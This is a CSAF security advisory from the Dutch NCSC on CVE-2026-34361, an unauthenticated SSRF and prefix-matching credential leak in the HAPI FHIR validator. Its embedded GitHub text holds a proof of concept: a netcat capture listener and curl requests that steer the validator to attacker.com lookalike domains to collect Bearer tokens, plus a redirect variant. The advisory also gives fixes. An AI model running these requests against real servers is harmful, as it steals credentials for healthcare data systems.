{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-34361",
        "tracking": {
            "current_release_date": "2026-04-03T13:27:40.029301Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-34361",
            "initial_release_date": "2026-03-30T17:42:02.169272Z",
            "revision_history": [
                {
                    "date": "2026-03-30T17:42:02.169272Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-30T17:42:13.840021Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-31T17:25:49.126060Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-31T17:25:51.789729Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-31T17:39:06.423602Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (1).| CWES updated (1).| Unknown change."
                },
                {
                    "date": "2026-03-31T17:39:08.389738Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-31T19:55:19.107187Z",
                    "number": "7",
                    "summary": "References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-04-01T15:12:57.132017Z",
                    "number": "8",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-04-03T13:25:12.511054Z",
                    "number": "9",
                    "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-04-03T13:25:18.793901Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "10"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<6.9.4",
                                "product": {
                                    "name": "vers:unknown/<6.9.4",
                                    "product_id": "CSAFPID-5991910",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:hapifhir:hl7_fhir_core:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "HL7 FHIR Core"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<6.9.4",
                                "product": {
                                    "name": "vers:unknown/<6.9.4",
                                    "product_id": "CSAFPID-5969376"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "org.hl7.fhir.core"
                    }
                ],
                "category": "vendor",
                "name": "HAPI FHIR"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-34361",
            "cwe": {
                "id": "CWE-522",
                "name": "Insufficiently Protected Credentials"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "## Summary\n\nThe FHIR Validator HTTP service exposes an unauthenticated `/loadIG` endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a `startsWith()` URL prefix matching flaw in the credential provider (`ManagedWebAccessUtils.getServer()`), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL.\n\n## Details\n\n**Step 1 — SSRF Entry Point** (`LoadIGHTTPHandler.java:35-43`):\n\nThe `/loadIG` endpoint accepts unauthenticated POST requests with a JSON body containing an `ig` field. The value is passed directly to `IgLoader.loadIg()` with no URL validation or allowlisting. When the value is an HTTP(S) URL, `IgLoader.fetchFromUrlSpecific()` makes an outbound GET request via `ManagedWebAccess.get()`:\n\n```java\n// LoadIGHTTPHandler.java:43\nengine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), igContent, true);\n\n// IgLoader.java:437 (fetchFromUrlSpecific)\nHTTPResult res = ManagedWebAccess.get(Arrays.asList(\"web\"), source + \"?nocache=\" + System.currentTimeMillis());\n```\n\n**Step 2 — Credential Leak via Prefix Matching** (`ManagedWebAccessUtils.java:14`):\n\nWhen `ManagedWebAccess` creates a `SimpleHTTPClient`, it attaches an `authProvider` that uses `startsWith()` to determine whether credentials should be sent:\n\n```java\n// ManagedWebAccessUtils.java:14\nif (url.startsWith(serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) {\n    return serverDetails;\n}\n```\n\nIf the server has `https://packages.fhir.org` configured with a Bearer token, a request to `https://packages.fhir.org.attacker.com/...` matches the prefix, and the token is attached to the request to the attacker's domain.\n\n**Step 3 — Redirect Amplification** (`SimpleHTTPClient.java:84-99,111-118`):\n\n`SimpleHTTPClient` manually follows redirects with `setInstanceFollowRedirects(false)`. On each redirect hop, `getHttpGetConnection()` calls `setHeaders()` which re-evaluates `authProvider.canProvideHeaders(url)` against the **new URL**. This means even an indirect redirect path can trigger credential leakage.\n\n## PoC\n\n**Prerequisites:** A FHIR Validator HTTP server running with `fhir-settings.json` containing:\n```json\n{\n  \"servers\": [{\n    \"url\": \"https://packages.fhir.org\",\n    \"authenticationType\": \"token\",\n    \"token\": \"ghp_SecretTokenForFHIRRegistry123\"\n  }]\n}\n```\n\n**Step 1:** Set up attacker credential capture server:\n```bash\n# On attacker machine, listen for incoming requests\nnc -lp 80 > /tmp/captured_request.txt &\n# Register DNS: packages.fhir.org.attacker.com -> attacker IP\n```\n\n**Step 2:** Trigger the SSRF with prefix-matching URL:\n```bash\ncurl -X POST http://target-validator:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"ig\": \"https://packages.fhir.org.attacker.com/malicious-ig\"}'\n```\n\n**Step 3:** Verify credential capture:\n```bash\ncat /tmp/captured_request.txt\n# Expected output includes:\n# GET /malicious-ig?nocache=... HTTP/1.1\n# Authorization: Bearer ghp_SecretTokenForFHIRRegistry123\n# Host: packages.fhir.org.attacker.com\n```\n\n**Redirect variant** (if direct prefix match isn't possible):\n```bash\n# Attacker server returns: HTTP/1.1 302 Location: https://packages.fhir.org.attacker.com/steal\ncurl -X POST http://target-validator:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"ig\": \"https://attacker.com/redirect\"}'\n```\n\n## Impact\n\n- **Credential theft**: Attacker steals Bearer tokens, Basic auth credentials, or API keys for any configured FHIR server\n- **Supply chain attack**: Stolen package registry credentials could be used to publish malicious FHIR packages affecting downstream consumers\n- **Data breach**: If credentials grant access to protected FHIR endpoints (e.g., clinical data repositories), patient health records could be exposed\n- **Scope change (S:C)**: The vulnerability in the validator compromises the security of external systems (FHIR registries, package servers) whose credentials are leaked\n\n## Recommended Fix\n\n**Fix 1 — Proper URL origin comparison in ManagedWebAccessUtils** (`ManagedWebAccessUtils.java`):\n```java\npublic static ServerDetailsPOJO getServer(Iterable<String> serverTypes, String url, Iterable<ServerDetailsPOJO> serverAuthDetails) {\n    if (serverAuthDetails != null) {\n      for (ServerDetailsPOJO serverDetails : serverAuthDetails) {\n        for (String serverType : serverTypes) {\n          if (urlMatchesOrigin(url, serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) {\n            return serverDetails;\n          }\n        }\n      }\n    }\n    return null;\n  }\n\n  private static boolean urlMatchesOrigin(String requestUrl, String serverUrl) {\n    try {\n      URL req = new URL(requestUrl);\n      URL srv = new URL(serverUrl);\n      return req.getProtocol().equals(srv.getProtocol())\n          && req.getHost().equals(srv.getHost())\n          && req.getPort() == srv.getPort()\n          && req.getPath().startsWith(srv.getPath());\n    } catch (MalformedURLException e) {\n      return false;\n    }\n  }\n```\n\n**Fix 2 — URL allowlisting in LoadIGHTTPHandler** (`LoadIGHTTPHandler.java`):\n```java\n// Add allowlist validation before loading\nprivate static final Set<String> ALLOWED_HOSTS = Set.of(\n    \"packages.fhir.org\", \"packages2.fhir.org\", \"build.fhir.org\"\n);\n\nprivate boolean isAllowedSource(String ig) {\n    try {\n        URL url = new URL(ig);\n        return ALLOWED_HOSTS.contains(url.getHost());\n    } catch (MalformedURLException e) {\n        return false; // Not a URL, could be a package reference\n    }\n}\n```",
                    "title": "github - https://api.github.com/advisories/GHSA-vr79-8m62-wh98"
                },
                {
                    "category": "description",
                    "text": "HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the FHIR Validator HTTP service exposes an unauthenticated \"/loadIG\" endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a startsWith() URL prefix matching flaw in the credential provider (ManagedWebAccessUtils.getServer()), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL. This issue has been patched in version 6.9.4.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34361"
                },
                {
                    "category": "description",
                    "text": "HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the FHIR Validator HTTP service exposes an unauthenticated \"/loadIG\" endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a startsWith() URL prefix matching flaw in the credential provider (ManagedWebAccessUtils.getServer()), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL. This issue has been patched in version 6.9.4.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34361.json"
                },
                {
                    "category": "other",
                    "text": "0.00038",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.7",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5969376",
                    "CSAFPID-5991910"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-vr79-8m62-wh98"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34361"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34361.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-vr79-8m62-wh98"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-vr79-8m62-wh98"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34361"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
                        "baseScore": 9.3,
                        "baseSeverity": "CRITICAL"
                    },
                    "products": [
                        "CSAFPID-5969376",
                        "CSAFPID-5991910"
                    ]
                }
            ],
            "title": "CVE-2026-34361"
        }
    ]
}